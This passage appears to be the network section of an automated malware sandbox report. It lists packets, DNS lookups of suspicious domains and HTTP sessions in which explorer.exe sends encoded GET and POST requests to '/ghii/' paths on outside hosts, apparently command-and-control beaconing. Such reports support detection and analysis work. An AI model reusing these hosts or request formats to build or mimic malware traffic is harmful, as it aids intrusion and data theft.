Feb 20, 2023 11:24:30.862595081 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.862593889 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.862641096 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.862672091 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.863116980 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:31.036923885 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:35.974742889 CET	49700	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:36.078232050 CET	80	49700	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:36.078423023 CET	49700	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:36.078562021 CET	49700	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:36.182180882 CET	80	49700	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:36.195274115 CET	80	49700	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:36.195308924 CET	80	49700	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:36.195482016 CET	49700	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:37.583137989 CET	49700	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.599414110 CET	49701	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.713532925 CET	80	49701	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:38.713752031 CET	49701	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.713886023 CET	49701	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.827898026 CET	80	49701	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:38.843964100 CET	80	49701	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:38.844032049 CET	80	49701	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:38.844248056 CET	49701	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.845201969 CET	49701	80	192.168.2.4	66.96.162.149
Feb 20, 2023 11:24:38.958662987 CET	80	49701	66.96.162.149	192.168.2.4
Feb 20, 2023 11:24:43.903126001 CET	49702	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:44.074330091 CET	80	49702	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:44.074477911 CET	49702	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:44.074593067 CET	49702	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:44.245832920 CET	80	49702	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:44.245893955 CET	80	49702	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:44.245934010 CET	80	49702	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:44.246040106 CET	49702	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:45.583760023 CET	49702	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:46.599931002 CET	49703	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:46.770838976 CET	80	49703	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:46.771013975 CET	49703	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:46.771476984 CET	49703	80	192.168.2.4	198.54.117.212
Feb 20, 2023 11:24:46.942133904 CET	80	49703	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:46.942163944 CET	80	49703	198.54.117.212	192.168.2.4
Feb 20, 2023 11:24:52.200989008 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.217001915 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.217097044 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.217389107 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.233263016 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751462936 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751564980 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751612902 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751674891 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751712084 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.751737118 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751769066 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.751791000 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751837969 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751854897 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.751878977 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751914024 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.751946926 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:52.751948118 CET	80	49704	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:52.752037048 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:53.926626921 CET	49704	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.032953024 CET	49705	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.049160004 CET	80	49705	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:55.049297094 CET	49705	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.054128885 CET	49705	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.070070982 CET	80	49705	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:55.528533936 CET	80	49705	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:55.528573990 CET	80	49705	66.235.200.146	192.168.2.4
Feb 20, 2023 11:24:55.528703928 CET	49705	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.542359114 CET	49705	80	192.168.2.4	66.235.200.146
Feb 20, 2023 11:24:55.558676004 CET	80	49705	66.235.200.146	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2023 11:23:29.507638931 CET	56572	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:23:29.868473053 CET	53	56572	8.8.8.8	192.168.2.4
Feb 20, 2023 11:23:36.459855080 CET	50911	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:23:36.478375912 CET	53	50911	8.8.8.8	192.168.2.4
Feb 20, 2023 11:23:58.519124031 CET	59683	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:23:58.615147114 CET	53	59683	8.8.8.8	192.168.2.4
Feb 20, 2023 11:24:21.643115997 CET	64167	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:24:21.660044909 CET	53	64167	8.8.8.8	192.168.2.4
Feb 20, 2023 11:24:27.683267117 CET	58565	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:24:27.703109026 CET	53	58565	8.8.8.8	192.168.2.4
Feb 20, 2023 11:24:35.866682053 CET	52239	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:24:35.973726034 CET	53	52239	8.8.8.8	192.168.2.4
Feb 20, 2023 11:24:43.878320932 CET	56807	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:24:43.900916100 CET	53	56807	8.8.8.8	192.168.2.4
Feb 20, 2023 11:24:52.037426949 CET	61007	53	192.168.2.4	8.8.8.8
Feb 20, 2023 11:24:52.197849989 CET	53	61007	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 20, 2023 11:23:29.507638931 CET	192.168.2.4	8.8.8.8	0xa0b5	Standard query (0)	www.wenzid4.top	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:23:36.459855080 CET	192.168.2.4	8.8.8.8	0xfb58	Standard query (0)	www.cutgang.net	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:23:58.519124031 CET	192.168.2.4	8.8.8.8	0xaf6	Standard query (0)	www.cutgang.net	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:21.643115997 CET	192.168.2.4	8.8.8.8	0x9db9	Standard query (0)	www.cutgang.net	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:27.683267117 CET	192.168.2.4	8.8.8.8	0xf41e	Standard query (0)	www.energybig.xyz	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:35.866682053 CET	192.168.2.4	8.8.8.8	0xe3ed	Standard query (0)	www.genuineinsights.cloud	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.878320932 CET	192.168.2.4	8.8.8.8	0xb17d	Standard query (0)	www.octohoki.net	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:52.037426949 CET	192.168.2.4	8.8.8.8	0xbc4	Standard query (0)	www.ladybillplanet.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 20, 2023 11:23:29.868473053 CET	8.8.8.8	192.168.2.4	0xa0b5	No error (0)	www.wenzid4.top		107.148.8.96	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:23:36.478375912 CET	8.8.8.8	192.168.2.4	0xfb58	No error (0)	www.cutgang.net	cutgang.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2023 11:23:36.478375912 CET	8.8.8.8	192.168.2.4	0xfb58	No error (0)	cutgang.net		194.102.227.30	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:23:58.615147114 CET	8.8.8.8	192.168.2.4	0xaf6	No error (0)	www.cutgang.net	cutgang.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2023 11:23:58.615147114 CET	8.8.8.8	192.168.2.4	0xaf6	No error (0)	cutgang.net		194.102.227.30	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:21.660044909 CET	8.8.8.8	192.168.2.4	0x9db9	No error (0)	www.cutgang.net	cutgang.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2023 11:24:21.660044909 CET	8.8.8.8	192.168.2.4	0x9db9	No error (0)	cutgang.net		194.102.227.30	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:27.703109026 CET	8.8.8.8	192.168.2.4	0xf41e	No error (0)	www.energybig.xyz		184.94.215.91	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:35.973726034 CET	8.8.8.8	192.168.2.4	0xe3ed	No error (0)	www.genuineinsights.cloud		66.96.162.149	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	www.octohoki.net	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.212	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.211	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.218	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.217	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.216	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.210	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:43.900916100 CET	8.8.8.8	192.168.2.4	0xb17d	No error (0)	parkingpage.namecheap.com		198.54.117.215	A (IP address)	IN (0x0001)	false
Feb 20, 2023 11:24:52.197849989 CET	8.8.8.8	192.168.2.4	0xbc4	No error (0)	www.ladybillplanet.com	ladybillplanet.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 20, 2023 11:24:52.197849989 CET	8.8.8.8	192.168.2.4	0xbc4	No error (0)	ladybillplanet.com		66.235.200.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.wenzid4.top

www.energybig.xyz

www.genuineinsights.cloud

www.octohoki.net

www.ladybillplanet.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49695	107.148.8.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:23:31.242640018 CET	136	OUT	GET /ghii/?1LM=MOY5/0rZkCSn1x8B5kGxcu4kjN12BC26NMBU4rUAiJ09dU/WDm+Fx0Du9tK3DtQGeLOXEwxSHBLi0tUrRAF6AgWuiPHLLIEAEQ==&kTj=94JTJ5e-oG HTTP/1.1 Host: www.wenzid4.top Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 20, 2023 11:23:31.448966026 CET	136	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Feb 2023 10:21:41 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49698	184.94.215.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:27.880846977 CET	140	OUT	POST /ghii/ HTTP/1.1 Host: www.energybig.xyz Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.energybig.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.energybig.xyz/ghii/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 31 4c 4d 3d 4b 75 47 55 64 7a 32 39 51 61 76 34 54 6a 52 59 70 51 55 4d 57 62 6d 6d 78 61 4d 6b 79 5f 39 55 4e 6c 47 4b 61 56 4c 4b 45 49 63 36 6f 61 33 38 41 59 4f 7a 63 75 63 4f 67 76 50 7a 63 6a 32 59 63 59 75 70 38 5f 51 4d 71 55 61 38 69 69 71 32 38 63 37 5a 75 59 45 6c 68 79 38 6f 30 4f 39 71 50 67 4b 52 43 6c 57 50 30 65 39 31 6f 2d 6a 4c 48 4f 6c 4d 6d 79 41 46 70 56 46 6b 35 37 6b 5f 63 56 30 79 57 41 48 53 4d 39 63 35 69 59 46 42 54 43 61 63 43 4a 41 71 76 56 47 2d 57 30 44 34 78 68 34 74 48 62 65 63 57 2d 5a 4f 44 76 36 55 55 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 1LM=KuGUdz29Qav4TjRYpQUMWbmmxaMky_9UNlGKaVLKEIc6oa38AYOzcucOgvPzcj2YcYup8_QMqUa8iiq28c7ZuYElhy8o0O9qPgKRClWP0e91o-jLHOlMmyAFpVFk57k_cV0yWAHSM9c5iYFBTCacCJAqvVG-W0D4xh4tHbecW-ZODv6UUA).
Feb 20, 2023 11:24:28.196916103 CET	141	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Feb 2023 10:24:27 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-23.58v-33.13c0-
Feb 20, 2023 11:24:28.196948051 CET	142	IN	Data Raw: 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 2d 37 2e 35 20 31 36 2e 38 37 2d 31 33 2e 33 Data Ascii: 12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5 9.86 10.67 13.
Feb 20, 2023 11:24:28.196968079 CET	144	IN	Data Raw: 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 35 32 30 2e 33 39 63 2d 32 2e Data Ascii: 5 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"/> </g></svg
Feb 20, 2023 11:24:28.196989059 CET	145	IN	Data Raw: 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 2d 31 31 2e 30 34 2d 31 30 2e 35 35 2d 31 35 Data Ascii: 3.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.07 9.3-10.76 15.
Feb 20, 2023 11:24:28.197280884 CET	145	IN	Data Raw: 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 20 20 20 20 3c 66 65 6d 65 72 67 65 3e 0a 20 Data Ascii: s="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs></svg><h2>P

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49699	184.94.215.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:30.590812922 CET	146	OUT	GET /ghii/?1LM=Hsu0eFbPaPXvQj1driY9Qb+UxIEGydZDMi24Zx/KBNJzrILAD6eOCtsvvO79CgG5LYmF38wKy0LUujLv+r7tqaEj2Tcyyr5eEg==&kTj=94JTJ5e-oG HTTP/1.1 Host: www.energybig.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 20, 2023 11:24:30.862343073 CET	147	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Feb 2023 10:24:30 GMT Server: Apache Content-Length: 5278 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 3a 32 30 30 2c 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 76 67 20 69 64 3d 22 73 76 67 57 72 61 70 5f 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 30 20 32 35 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 33 5f 32 22 20 64 3d 22 4d 31 39 35 2e 37 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 34 39 2e 37 48 32 37 2e 37 36 63 2d 32 2e 36 34 20 30 2d 35 2e 31 2d 2e 35 2d 37 2e 33 36 2d 31 2e 34 39 2d 32 2e 32 37 2d 2e 39 39 2d 34 2e 32 33 2d 32 2e 33 31 2d 35 2e 38 38 2d 33 2e 39 36 2d 31 2e 36 35 